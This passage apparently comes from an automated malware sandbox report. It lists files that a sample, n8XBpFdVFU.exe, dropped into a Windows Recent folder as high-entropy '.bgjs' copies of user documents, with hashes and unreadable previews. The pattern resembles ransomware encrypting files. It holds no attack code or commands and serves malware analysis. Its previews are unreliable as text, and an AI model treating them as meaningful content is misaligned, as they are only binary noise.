File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854352103333667
Encrypted:	false
SSDEEP:	24:Dnl1kLkN+82OF8fYlrjgzOoKL5ZtQKq8fGt2oak7bvdRM+r0JsbD:Dl1kLA+8p8fYtgzc5o58Hq5wmD
MD5:	4583890E0BE2A47659C3235C7C2A45F3
SHA1:	FCE29DFFF318209C2F0521CEF80C2874C9834115
SHA-256:	BCF84312B616B18AD2A499407C6763804352EF5E6723D4DE5A91444758BE7D00
SHA-512:	3DDF452B95B0704F55A0F80F3BCEBE50EA8ACBBDA8D5C84E9CAD180F19FD28B81325CABDE8F53400F80BBF043E06F1BE8331DF2D775839450CDD0FB58250BFE6
Malicious:	false
Preview:	PALRG&..#.J.....[.u..F(}.oC...}jV.-...&.W....t_....]...FQ8....E..8.."x.5.1i..v#......sK.......zc..I..e...Y..g.....$9A.v.......bQ.i.uV% g=.1.$.Bj.X"4......?2x.t.w...7.&"...5.Am.h.>.D..hW.=./..G..,k.1.....&u..J.....}.......u1s..(..[.5....;.UC.q...E...l.X..jT.Y.>m..[do7..rT..am......7 P.$....i4k.^S...}.yT3.%!.BTDzj.R....J...\E...M;.k$m.......d...MIW..op...`..';.....n...-..S..%..+y.N.g#H.../..Y\a.....N.f<.J.$..7..W].._.x...\......W..R..c@~....g5!.I)..\......d?K...k.8....o...Y..............Q5...]}.s..`.....'.O....Tc.e2.F..J,;.L.O/pO.^.@2q..b..\|Y?.`..2.:.!]-.:Q.....\...i.....c5../.7.e..y].$..3..<..o......\..a..&..<.a9.C...9......;#..}...a....$v..<4..P......m...]....oSb........A8.F....r_..R..M..g(...........Wg.;.di......P.r..R..Q.........!3...(.Y%.s1..c(.dn.=..B.d...\..hx.L.31.Tt.....O..IRr..:.Zl.....G..#.D....1.y.FD.7.!~s..<..}.L/..}.......R...Z.n..>r.-.c..^...k....y.&..4...g^....zh.)8......D..z.j.q.... ...4&..Vb..~.$D.c0/#.E]...V..W6..<.p.\D

C:\Users\user\Application Data\Microsoft\Windows\Recent\RAYHIWGKDI.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8603698871726
Encrypted:	false
SSDEEP:	24:eS6YglfwYhP1HcufuNMQyo/iTMOPVVTlHdRusRdvoaaSjWi+SRDZ/vkbD:eS6Zw4P6kuNMRnRr5dRNRdgu+SxNvuD
MD5:	3715B9477F1D52297AC04D1BA20DC236
SHA1:	5A828919252D17070571AB906E2778BFB38E3F36
SHA-256:	F64FE86334A77245717A70782AAFAE1F36099E03A9440A61FBAEE8A2279E9ED9
SHA-512:	6C54813FE7A6B1ADE24F673070978E35C2ABF0032E02FDCF445E3B08E7B72DF71E5743FC5AF01CE0955733D2B6FF1A930F22E3AE8AC61BD1134BD6F37B365575
Malicious:	false
Preview:	RAYHIH..q...V...gl.Z.,l.X.CV#....c...p0b.x@b&....2..Xj......Rz..tn.....=.:J4.+../?...M.`..(...:.qc...n..N\|o:...F..Rb7...g...6......@..l....3.......4`\|E0..4...L.......q=.\.P...<..,t..8F.(%.8d..UZ.IK.4..U..8....B...m..&'.Y.J.....+r.P..RM...b...a%..@....L..M..=3-b>.X[..4....u..u...}:Z.........#-.......s.D...#.9L\..Z.q....A...U.Q^ ..S..oYN..7C:P.F.Y..GZ...mC.I,.+J.....\|.."...UvM.\.L5.Q.....n....3ve"{.p.E..jD.I ..?4F<.....Q.V"n.........L\|....u.C.xUq.k.<6.9.U.oe.M.R...j..@.2.\|.1...G........qk..QO..,...!k....@j3z.w....N.a...Q7C...c,..nA.^+.Am.....A....._$rQ.T.......k..7..:U\|0\.H...-U....2..!;...S...P....y]1.,+2.......C....(..^..}!.....@..].<......V..~.-X.0....G.?.2..{..;..U...M......KH..H.....QW:...)E..[.+.2cYS2..[r92......}{.V..B..^.......h:O..z......d..`NX:ts.$.Y;.M......R>..`...R.Y.......V...o.@$.....p-....Q.4..d...5.m{.3...J.aa.hiK....J..o..x.9...}Q.....}..#..m....gX.c_...+..l..>..S.f...f.gN$[..W./.............Q.6.sC.N..>.>.c..Gaj:..

C:\Users\user\Application Data\Microsoft\Windows\Recent\RAYHIWGKDI.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85294442938545
Encrypted:	false
SSDEEP:	24:bsP6ThE405MjAJ4Ot76DrV+YoXE/olymm4ftlP36Awi12xIuc3bD:bsP66raOt0xnoXNzHf7PKQeCLD
MD5:	2CF7D1F3670E55B090F8B64801006252
SHA1:	0D84613C151DB373051BC59D1727AFE85D4634D0
SHA-256:	0CEAC6AAE80D4D01A2C8FA16E246DF4D7015C5670E37E3162F3119BE23F70B0B
SHA-512:	8BC9E0ABC0C08905FFA009D9DF962ED85AE10067C7B6BF6297CA62E3DB5AB67A5A8843B8DA421B6E7F9B3C27BF53470D398AB159CFAAABAE0B42DC5380D89E0A
Malicious:	false
Preview:	RAYHI..."../.2?.....4.!.{..X~.v.....l.`.6.\.7.!..j..&...e..K....!........Fb73.A.".........\..:.YU.DB...!..*L.../...T...K....\|...5.X.....B..Zo.g......R........1\..t..>._...[..D.1.(.X#<......Q3.....B...2.W7.3PR.....o..+SM0{.'A..i(]\..i..DP.r....8%.k:.3t..?b..}...s....[.\...ZVUg.n..9a..eSQf{?..........{.E.~."....'.L....A.C....)._..E....F....7.\..sl$.......Y......-....vGD.0r.c.^...g.Svjm./)P..l..`...!X.8..W$../&.^.g...AL?.@...X.....a c....C...Dz........G".D..>.....j..<&\...V..&........Xs}2.]%..swV...B8<Ea.M.Q..~...{n-...d.....J....s.=x.d-;]z..0.....;..So.'..!...B......\..m..-b-\f%...`>f>........h}.!..K..<.b..,..Z...S&Y....AVY=.......A3........m-.+m....}..rA.....g.LB.:..e...T......),6.X...\|.n...'..2M.=.M..-?..4.P!Z.x..x<..e.:=30.8..tA.....GV......F........ \|.~fC.a.Z.....%..@...1..@.LS.K\u..B......W....^......'.Q.o.A ]i.m6b45....r.'.e......<.y.%....\|ST: .....r...U....E.W.ku...r.......g(.....R.eV.kMx.Q..pj....^N.9...`....#..Cn.RF&X[....

C:\Users\user\Application Data\Microsoft\Windows\Recent\RAYHIWGKDI.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862812469515471
Encrypted:	false
SSDEEP:	24:JvLohy+kHGNhCcrIIf9jgMaciqNa+eMA8IUnuvUPjViAp2OQTebD:6hzkHGTCtM9jgMRibP09b7V/5QwD
MD5:	BDA72D9FFA9B2680613FB59EF6163D24
SHA1:	D98EFFD827A1E2C1B430C74CC0DEB202FE22FB2D
SHA-256:	69C7794F839396E22F4AAB0D82E44FF1801F30324E589284AD4037364FC6889C
SHA-512:	2CEFD95E7D0AE3DDA128E89F3386573D831B0BCCE8CD0265EEBE11A82542F359FAB1AD72FB662DCCB46EB4FC5ACF0EA2C6FD3494E30454F311BEBA3D84C7691B
Malicious:	false
Preview:	RAYHI.<....c..j.X)...F..Hmd..{..6t.."....G..=l...){....;.1.p.I...r.().b;...).gn.}C!....l...\|..d..#Mln.6...M.S.V.&....wy.....8..2.Oh..Zd ~;..jH.......Y.`F..k_.v-......t..[.W.........Q.H....I.R.{......V.k.....S..@G..V=\|..Kk.5.4.....h....d#.J4..7..(.J...h.)..."@..7.{..Fj...?..y...lNB...n..ft.$!O.v\|"N...i+..s..Y/....S...Z..~..E..}l.n.]&.~...O.&.d....kl..T.i.~ol.6..1.I......r..V.4....."..!M..t..,.l......bl....x......0..H.....i..N,@<.....5..v.R&\|........^B..hs;..4(.$.5.y....!ZH...\|.W......5d.....q..+M...F'.$.....hM....8.1..=dh!..M...`U...$%v..4.#..N0A-.".\|.....g@.vi(...{.c.z.=.b... ../$..4.2aN.q.:......[l.d4.y...M5.K....U.....l.....#%.4...W..F.mv......&;..>LGn..z.r.q.=..._.W......l.;...'.....~.w81...E.......<.@.......q..c..../....m+...Gc.........S.;..I._..RPS........"...gK..!..A.......!.MZ.?e..:^...5.K....n_.6\|J(...&7...?./.KF.i.......M].......r9:...l..H.D;..;..^._qp.s..B.....9!.t.E.R.....4.&.E.` Zs.20l..........m^.dn..v..^4.&.Fm..f...2=E!..EW.

C:\Users\user\Application Data\Microsoft\Windows\Recent\SFPUSAFIOL.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865730463268054
Encrypted:	false
SSDEEP:	24:aDRlnDPFChOle/Xwzwv2vQLW8kHY0eCygVqyloC3KEjvNI/218iFvVH59bD:MRtzFCoMfwkv2vQLW8MYxCTwENC21rvD
MD5:	9E6D4F57A6F3638429CD93E8B686977C
SHA1:	216DFC826EA41025CA1317901698DE841DD28766
SHA-256:	D1DC0CA73A5B79E10F496747174B8E9B715B327EA1CC5BEE9C07CEE0B78EBF67
SHA-512:	67D7427984BCDE4E88F02FF716471776E30E48D5838F9902137EB96DEF4A401DA9ED1049AFBFA824471C0A31C0D2AB855544E58EBF398E5A2694909852E9BC12
Malicious:	false
Preview:	SFPUS.{x0.....R.....].0.].....pHC.......9.U..&.)8&.J....{..m(........$.^g...7K}M..=Z...R4>..)......"\.y.R..........K........Gi..:....:.B7.;..!C.?..._..0.r..JL..Q8...P.=pi.pf.4.1..]..5.H.jJ.m.....7.;N..&h........Isv..$i[,P_\|8.7....e\|.....k.z.,YU\..+.G.G.i...'.....)}5...i.....6.+...(+k..N6..N].5....$\|j.&.g..`...j.H....C..)(L..m..0...........W.d..rZ...F..(hQ...=...k_../P.{#..bEBk.&...T...!Z."....T.F.6!..I7_{.......f..h....o'2n..."....Q......~+....S.9g.V.5g.\.^..X.Rx.5.n2..Wh..<._..-.........O0=...r...JX.-.i...m.#Ew)}.5....W...Hm..M....,?t.{....=.{.....@...i}.:4.&.U...FS...]*.k0.a.H...............T........i4C..q\.Y....\|..f......m+5;.w.....0.....R-...H[.s6..z_..$.`3.BA.RL"..R._...4..%g}&y.al.<..#.y%.9^3....dM.$.....z.....8...[e...Hh`.....r.%,.P/..4.+w...8.Z`...;P...^1..<..7O;..=.....1.~$.x.......z."1..G.:F0.Vk..KC...(.\........B1.........<.?.......H....lm.W..ZR=....(g.^...&dO.)!..\|.Ep...B.-...\|...Y..=\@C.U...bv..p@..{5.......m?H......

C:\Users\user\Application Data\Microsoft\Windows\Recent\SFPUSAFIOL.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862290389308565
Encrypted:	false
SSDEEP:	24:VU35WgHn0GayiA1LkRPAyuR6oUBoawAoYRv1+m3kpFreqWWOm0UbD:upW9GaynYVPBqAoYR+Pqq0m0+D
MD5:	616BAC539D8D8EB8A3471CC0F5B68910
SHA1:	CEF3C4D8F63AA961168E832AC93424BB06BFAEE8
SHA-256:	09E44C5925211AAB2A17CC00FA6CB7AA0F22D16E56E81AED3458AA99C5AA3F3A
SHA-512:	94CE7389DFAFC91F4A25431C16AB491E291C4B2B0FB57E364222B1CC75ACAC699F459640871937831F0D8EAAB4265F244B558E18F58672E889B90A15E9786F83
Malicious:	false
Preview:	SFPUSw.\|M[.c.....cFJ..e.2..U/....]...B........^.XB.2.9.......%I..`x.?...,.b3(fI.....i....r.(...B~.,...S.c.X..x...Gm6l.#i.x.'p....+'.C.'.x..h.5.E..oo...m.....`BM{.......t..]'..ihZ\|..7Je`6.._5W\.Z-iV.O....4t...#...G....ErI-...,.......h,.=.\..A$.C.gD.$].r.f...;.+.YM.n.......... ..gq....)y17.h~...]faf.\|.k..T.:bV..J...m.v..k.2...FZ...ncM..Q9..i.$,........h1N.1<'.Qx.x-.?e..l.Q....(GR...n...9..[cI.T@.(..v...y.E.../...&....H..s$Zq.[...g..Q*.=...%.5..e..Zr...a.W.^8.........+I$.(..R..Sg;.}H..........O..Ur.....sd..d.i...........+.r<7l...cJ:u`z..Hj....p.s.u$=.e..i...w.........Q.1...:..}.....5..X.O...h6&_....H.\|..8...+X......>M..]"..(...4!5..\-..[.!...U'O..1(...(..5I.r.%.[BU...C(...H<.....v......$B.R<QW..K.[..~.H.$.\|.....#.....w.....cm^.]........=...uTeI.YT.spZ..q.."nT.<...P..7K.1{...i.\|........I.[.B8....;.....S.n....7.c..0lx......VtJ..YS.....O.Gm....:.R...O..#...0[......H....qZ..j..M..)f.^.8..t..4&.}...k..Kf..K..#h..&.-+....=.6.-l.9j..y.

C:\Users\user\Application Data\Microsoft\Windows\Recent\SUAVTZKNFL.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839462052330405
Encrypted:	false
SSDEEP:	24:txgi5RNxB6WeCiTZJ++whUhIZk+MGdUAdseZX6WnRUrVDvF7dObD:tL6W9i/+ppk+MGw+rUhDvFJsD
MD5:	543E03E4809E25350D2F2F805FC2CD53
SHA1:	864FA445F1DB1946FD8DE6CBD29F6AA54A3CE26A
SHA-256:	EF6931CEEBF22F13053E01C8BB68B9AF22B62C9F7B72AA6BD91DDF58B0A2358C
SHA-512:	8F23495B84DE0B743327DCF4857F9595B02B9FE2FFED0ED05D9B9DC8633D58E9C145D72921BC20A144C0CBEF98C35E5DDE5C4D6BF19D991FF6CA966D2D425C54
Malicious:	false
Preview:	SUAVT\?...8...H.A...A_c.G...1.F..F.......r.D.f.\X.1m..^....C&.bk..F..Er...Wz.I..w....M.>=%M...-]..^.Q.j.....J.W...U>{......L'..i\|Z.+........A.v..H.m..r..?..to..%i.c$...8.....!..a..L.'N^.l:...]~.l.M.?[..%......o .%.....}L.^.C..9o...q...\|Ik......'N.`......O.j.$.[....`6Rj:..$CNl.:z.-..B..........U?Z...6......!.#.s.I.!..jw>......=C..]..IT.#?Ejk..8Gi.#....X......!.."...{........:..}E\|..f.,..N.Q.~..`..W.A...O..$..`kjZ...6..[..p.Wa....jGz.a....k.t.=.........T.1.4R$.[j."..r?f...K..k.c..A0......B.=...T.p.P..6../...<.y.U.$...t@.6...9.;...b$..{\.1E.......5.-a:.......N9..o...d....t.utq.6E..tB..E.z.......'.....7.....e.Cg1.2...4.L\k.<.:..AVN....".F.4...<..u~7..-....0...v..n&PI.......Q4..*..sa.n.9=.pG....z...b.m./T.=..v..B...7K?].8..X#qI..0.1<....`'e.~...hb...$.1...[..$..,!uv.V.<...7..K..`Gy.=...5v.^..../i-..U.........8.6...c...B...fvc.....R..b........bp.+.ui..T..)...5..B2.G.U..`.'.m_(.Y...U.../E9FaV.%-.O...k.XD..z8.........!_.E5u

C:\Users\user\Application Data\Microsoft\Windows\Recent\SUAVTZKNFL.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843944835050703
Encrypted:	false
SSDEEP:	24:/Z19msJr8qk2SEWOva34TO2IByyKP5SGZTI7n3CtW2GrLEbgZZbD:/ZTjgEQ34TOJy1xbTI7P2Gr7ZZD
MD5:	BA7075E64B97B99BF2B6A4E485CD5A80
SHA1:	EE3B2F1D3FD2D5677859D35458F86F04413DB8F9
SHA-256:	66033A45A50D4730D432383E141B56C5825548E17A80DA1E8AF5D67C7053A096
SHA-512:	B8F15A4FBA5394100C03BE09630C23DBD1F40890313C270BCDB1C69F835DF85036969B388EB9992CBEAE5EA9BC27E9E976D14895B9EFC9788F804D6343F8474C
Malicious:	false
Preview:	SUAVT...}....}P....p.....a.._...k..A.1.gg...c.>.!.C%......UTK.D....6.4.A8P\#6O...Fi.yv.}b..v%.....W.H.:..c.E=m5@..y-.....9.+............n....%.[...c.....:@..c.8.MM..Uh.c`"\|..#.">...#.0.iq..N:H.%....KD..G.F\#" .....#.6.6p.W.%K......C...@.}j(.........4....,.ec.....4.-.v.2.7.W...4....'...>.D..P...ij..@.E....E...A..~5..B..[!.....v]........2.L..4Q.>w.T..e.3....?...e.d.?.+......Y...n.y.......N....'9....A.sZK%F\|mz.g..e7>b...-... ;..Mb.I')..........VL.o..Q..+.2.....GS.1./...?s...\."....TG..'..]..N.u..#l.V.l.d.g.#G.....E...4..SE....n[..3b+...m...y..g.......%)...D.z..`.....k.U..8.Q...F..T.C@.....1.j.)..\{t...3.b.WN..o\...no.......@KPs......1$.$V..=\|$l..<....=..8.L.tu,./jB....Gq.:.fa_.8..`......Z.l.3.O.....>.#.(.....U2..jl.:.2..TYw..o.8...Y.Fh..{H.L2..w.......F..G.mS...I.......`._.`I\|...n..b=.@.......$..7.J+Lt.[...S.].=..1B{..W.^x..!.}..L....M.E...9.R..`....L..p.T..<.%...i.*..5..\..O9.........+V.IKm..j.L.R..K.z\.@k...,s.l....[.X.$.8.N!Rdgob.

C:\Users\user\Application Data\Microsoft\Windows\Recent\UBVUNTSCZJ.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	HIT archive data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.826299089930214
Encrypted:	false
SSDEEP:	24:xVnN7+hharMId+WUf5LM36NMh8c5xu0MP1S9G59TIFpa3xSHhHbD:xK2rMI+9M3lv8PRSmqD
MD5:	5B37D88964CDADFCB34C20833F78204C
SHA1:	4F539F9107731EFB0B3AF23B9781A2124BC4D714
SHA-256:	B4A59AD573449734C5F57D33EF9FDC6644F94B5713B620E263B31D6196D802E4
SHA-512:	0C777F1498EAD5604D69EA53D4709E6A0FEE8C9B7D1A5AC7729C05B413F29840254AF3095188E9894BC7D0CDCAF0B0C58CB9DBF9851A1BF1AF1D114FAEDB82CD
Malicious:	false
Preview:	UBVUN.t.79.Y..\|%...W.......tB.x.(.E]......U.lc..#....d..O.v....#.k.yKj..>....d_}?$..!xB.H...."..........{..^.S...y..b......"...h....R.@.9PT..l0.i.85.EOZ..l.9...I....f.....TQ.~.%9....m..a.].....a.(6..L.B...F..&....(s....._.E.....P...:...#d..Kp.fc.'.....$....1N.A.G....).7..x..ML...o.8>.^F.5.h.:.D.}5..........Z...!...h... ....>.E_..\|...M. `y..t.E.E..;.%..<.l.axf%....q....z!....p.\|Ko6z..(.(.V.I..U..6...3d..h.R..{'...>/h....!.a..%\|..w>...x....S.."Fr.Ya.Gi...].v.5...Ai..`98a.\|.sX....z.E...i{...N...;.,.p.d`..t...H@..Z....0..T.Bemt...V\.Ki...tET... ..5.....g.....j..,....0...P.,...1Q'....z..W\...).5GW.?. ...M...g.1....+r.^....t..X.!.T...X...2m.....f=C2.......t.3....vEJ8.1b.N7.Q,...6s.s>..qG.y.\|......)\|...qG.{4m7@)..........~....kVz...... 0.............Op.X=..{...G..9Bn.vEqH....v...M....j.-?.k.aG...?41.h.Q.%..o#.v..y.....k...@h.r;..I#.B...5..f...d.c....k...d...Z..q.n.x.JL......4.'.\|...z...(......B...f.....&..=?E.$<...M<.....q....*&F&<.....hj....

C:\Users\user\Application Data\Microsoft\Windows\Recent\UMMBDNEQBN.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830964556185955
Encrypted:	false
SSDEEP:	24:P8kexTWmuiWiuDvYHOixmDl3JY7IjZIIztSvqAsYLgiqbD:P8k8SbiWHDvIOixmDl3JnJM7wnD
MD5:	397FD6DA1DA094E35E81D72004FA3807
SHA1:	72865C23E51FB401EE0B13F33DA17601731E9593
SHA-256:	CA4F541AEFF4FAF58DC3F72AF3E989AD0398ADC38988A4026F21690D3BB0B710
SHA-512:	727656023BA5F6A47A5235F1E76F5A52FBF6C395EE80E3DF3590CA70659B1E414C37FE96C794E4AAC759399F09397B922AA41807EAACBA86E765FA1FBAE79C18
Malicious:	false
Preview:	UMMBD.........#V..t.AX...Ld.{.%,.......j.....$1.K1..m....{..M.......z=f.#......-^96.}uRl...v..x.R....#..Qu0..k..V.......A4p.....Nr..&FNs..Vy.3/x>..9... d?.K[w..0...Br../..S5......\|N.{\...[1>.Rz..l.G.ed..\@5nJ....K...7.......l......p.........E.w.....+3...x[q....L.A.P..H.......6J.........{..lK.!.bd....b.qe.F.J...<.........XR...Ba2.,..^\|.^9..At.....g...c..j.....u.0..y...d....7}..}.dh..i....He.\|.A1Azv....u.%..a....":......L...!.C....q.8.%......,F.Zf...)..;@...Y....<!R!.u....k..n.a.... .cK..g.....vy.Y...R7v...E=4v9D;...}.P..[.K..tY..~<.&c..=.E..g...mM...... x9_.h9.%.y.,..z..,.0pfD+....FJ...V.#z....CY....Y2.\.....pd..u......EvS...q5......L....m...}.]...}.0.r*...W.]....c].E"M2.a..a.~K.....\|."...HR.2%.W1.....mm.....[.(.X...U%X..X:......O..`....V..r.O`.oJ...[..7.r...g.RE(..[6.............,....0eM......p....(...%.A.8,..j-)7......Ev?:Ys.z:.[k^.ek..r5..sA..M...@..p.....z(x..#...ufPLt.[.....V5W_.yI....u.Z....bn....66.G]..fN.r..............u........x_.j

C:\Users\user\Application Data\Microsoft\Windows\Recent\VLZDGUKUTZ.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859119643942562
Encrypted:	false
SSDEEP:	24:XZ/rJjDZbXv1dxP0yXb0huBBUw+DLTEzlPWE0eHg6CQfDb1SwBi3WiuabD:p/1jF5P0yL0hguhEzxWibP75Su8zD
MD5:	AE36A564D5B9FA1F75B771D28FED95DB
SHA1:	5DD8B7146F6D66789FE67923491A116C9726D303
SHA-256:	BF00ADB7D3BDEBF878F57ECA2F5029876AD8B5A9BFEDB610F5D246080B4EF011
SHA-512:	6F1623FB3B7C72A5711235B323A16B0F08902F21A029CB4165291A31CB83134D4D615800991B7855CDC180C3D964AF6E226B63A04504CE1188FEE3FC85DDE19A
Malicious:	false
Preview:	VLZDG.}..h..B.B..l`......Vbr9..>.\|d8......X..y.. ..fA.6b+z....fN.....s........ad.i..0.<...h.'.!..=c7.8..\|.p.K.2.d.d.bm..]K..h.7:.....T.\|EQ.ka....J..Xxx...E.N.........Ib.n..(..jf:..B.r.B.6.z..s.a..Q...9xj.. [.{...J_.6[_.&.9....kF.U.\.......r. 2._.........!.........V..V...<......%.?T.!...&../.vu..u..4...O.../.~....D.).....X.w.(...........~.&y..4N.!......fl...._...s..t.M..Rr.".7........Oj......V.y.v...)....<..&.R.....uX...........'%....5...........fzA`......X..^.....N....s.~..!._d.c..OJ....u.rU....b`. .@.%..T............I.hD..I.X.o....z.]IE.as.,..O.x..X[[..G.(zhg...8..1..`N\|..7..A.8.+0.7%%...".YiF...Z.&...`.+.D......Bx..)C.:..A t...M.I.i.9)..qj.u.D.....4.{.M....a.a...U..<.Slf.......9r..T....."..........).)..u..~.(k.TLY...Z.QRH.....).._.&..T_}d...+\=..w.>\.x......_.=...z..}.T.L.iH<.@{.f.!g@4E..(.d._.a..!.......].w..3..o...PLE..W5XTt.0...Y.3.../^6.R...W{/l.I].....@.j.f...]....Zj.T.&...p/..X.."8.@.J.y.d..Q.Jx.;T.7...-..zC@.......trP.Vw.

C:\Users\user\Application Data\Microsoft\Windows\Recent\VLZDGUKUTZ.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841478332651268
Encrypted:	false
SSDEEP:	24:AZVHooX3cqIhQqTwavF1HWwoHm9UBiF38jbe8hd/3/WIsfuTXtsbD:A3IocJbkCWxHm9UByibHXf42XtmD
MD5:	5DA13B0736163CF97DC92110711D847F
SHA1:	5BD565FBC49D9FDCE1E07AEA7F99D29FB100F8A0
SHA-256:	13E72BAB7FEE705480FD844ED1478435D0E3F63F9B0C3AEEDBFD5887C8E94C20
SHA-512:	ED2D471FD505103EC8791382A72BF23504BC220458C73B22DDA9C026DA178525CE1AE4ABA009D3835CD403293EFA725A09D1D9CE1CD98625C17FB807088AFB0F
Malicious:	false
Preview:	VLZDG....0..2..;g~...>W...... ...=eHP.%..+b.y..X.....E.<7...!u.g....x.f.U...R.\.....g.~.5g..s].&..3M@.A...w........g`.]SMl.e..I.@.w.. ...7.x..6..X~.w.4g.ER.:[..y..+..p....?o=....T..N.....;.?.[9...d\2X..G.'....f4......U9...9..o>.v/^(.../.o.#.j).x...}.G"UI.a.-.f...O....h.....o.X....SZ........en@...bb....+.&....7........#.?.f#...R..~.]G..O`Z.C.....[CqT .u.....GK..D..$.z.?.Gb...g.A...%.T.ZS.CT......k...W....."[..Aj....,~.Y. ..9.7.Y..'.K'...../\...7....;.J..`].Z0%....}j.......!_"..&.#P~k.8+'.!...dU.....M..>{..w.%.=......#~.....UQ...Qh...W..../.9F.....7d..f@.!(..L...}.....[){9.a..iY.y.......R..\f.U.4VB.R........,..w.....n.t........8.)A>.......>.=l;P.V..t...P...)e.G.`..7k.5?...WR.7r..Z$(C.uI...? iK..i....%...={.-..b_.D...N...6..Lu'....NU...h.:.......p,X.....(..O....S.4.i...bW...}....@...u.m.. .....Gi...:..!\...)L....L..C.A.}....d..W.o.C.~.M$V.8x....`j..M...oO\@J.W.......nKzd%=...g.u."..P.os..A.2......t?G.>....Y..~4..Gh.w............4..)..4,

C:\Users\user\Application Data\Microsoft\Windows\Recent\XZXHAVGRAG.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854487279847298
Encrypted:	false
SSDEEP:	24:7iaotAYil4FhSmo9OJ7BJpNywYuUMRaLM0SdWVrGSO5UrsbD:7aCVSFhSmiMHNPRcMruGW6D
MD5:	3E930A5C710265D6E8BC2733325CA7A5
SHA1:	17DF8A43637484D8861EBC132FDAAFE01602A926
SHA-256:	951EDA619D2BEF91EF237AC3428A01CDF9F65473FBBBED4608F98DA33DDA38BF
SHA-512:	58209BAB779D7FFD05271E96FB7F46757BB2DF7F7248EF6D69B3B76B4FC32E1986C97C55B9D79E0244F722B884AC402C59CFFDF6B85035D3A566C8C953386EFF
Malicious:	false
Preview:	XZXHA.c.=T9/Lq.8... .e.n....R....wP.t?...C\...(..,.8.....b.$....zyxg. ..aB.\.j.q..K.g.$".....uH......n2...SR.....xjF.....(.4.._.~4<..6...a....d..}..?n.,..+ ..%JF.q..rN..K,$...FI....[t....]..'[8..)y.......9w..]3.u.......0........b..6".4...jV.9...i...1:#.P.3.o..B..sow.2...W..q...h..+...W..p.......>.$\b.=...#...+..."...a,..i...,....!..>...H.....7...TE...@.a.....9.?].\|..F. J..M.i&.O.4/.P.X..,..+/]8...nS`.5j.;.{.BM.....+(.... D..9.....1...6...3....@.m...f.T.8\cRpl8`.7.G<..._...".G{.qg. .n..2..!....bugA..i7...rISR.;.pC^......{.t..XM..@.}e.\|.e'......nq2....v...,P+...$."m..Q...g.~.._?..$.....r....9Z1D;x.....4.,... ,..9W.P.Wp.-.y.K..5...7.zM.....vrs....v/.....#.......x....-.e....[U8VY......]O#.a^..',=8......<eT.."H.u`.z..+...Q...8..;t....:8.......A..<.[b..x....z2.M...Y....o0..d.CECZ.5...C.z.}...C..'..a..vp.......u.y.... P.g.g...1x[.hB.g.+c...+.\|tRT.E..C....s.K.%N.G.....7...p.g,......`..*h.._...'.4...`.l.....@I ..n.z0.n...w......`.\.,V.

C:\Users\user\Application Data\Microsoft\Windows\Recent\XZXHAVGRAG.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854222623189572
Encrypted:	false
SSDEEP:	24:LXSGG5YHPB7Xf1N1mg/4q7p/6CWZwTOu0viqJkBeRcr9zVtbD:LzPddN1PJpD54pLORvD
MD5:	B7C7DEA753942E43C16FEA2DFF266A42
SHA1:	AFF3A2819584EB5463C998FB8CB7CCD171D888B4
SHA-256:	53EC47DB92A803DE8839082A61CC164ADBAF8B94C2B27FB3C213C5D8AABF5168
SHA-512:	45F4940AE4F780464971993F30F2149EB49F529A24771FA3BF311B3293E3BA530A300438F9606CAB56866B6F069FA999BD7365E6D77618752D36874C77EB95C0
Malicious:	false
Preview:	XZXHA`W7..r.XV?..G...Q..-..U;=......:y.WN[.}[...WL4.D....&..F.....E]]V..6Z.P.>ag....1.._<V.....I..n..p....%...t.........z$Q.....3.a....g.g.~."..n.Q".Z..L..'q...I ......&,.}.....?..eOe......QR[=.D...#..+..a.$...}....M.?.}F.J......n>lH...0.Q.[vh..{.>G....3..=.k^...OcW.V....8..I.@@..a...p...<.O.0...RFF..R.N.1.....0.....u.._^......V...e.........O.P..t>.../.\|..MR..0.w.m..E.mgO.Q.16.(...i.\|....X..6]...c...J......-..X@%./7.R.:l.0......<D.8.....sdtj.]Bo\|^9.C."c.Y.....i.........{.....I.I..".K.w.....$.."z..3(1{;..MlUm`.M..O..!.....y\|k......!..q..sV.'.._.s..K..6.BRx.Q..$....Pe.....<-..%.i0.Fw<.+...D..J57....G,n......lA..qg..CND.6.u..W.......[.....0.%.Fe.....`.}K.b...9H.}...{...s..}l..E.T..IS...d.l.9..T...N.wsa.h.....4.....Z..R?..b....FYo.....x.M......6xj...`,;..v...@O..o...w7..3D-......y9C...^?.903.#mE..;m=t...7...>.>nJPxE=...A...4....$.2+.N,.yon.H.)Hm....'i.1.~+.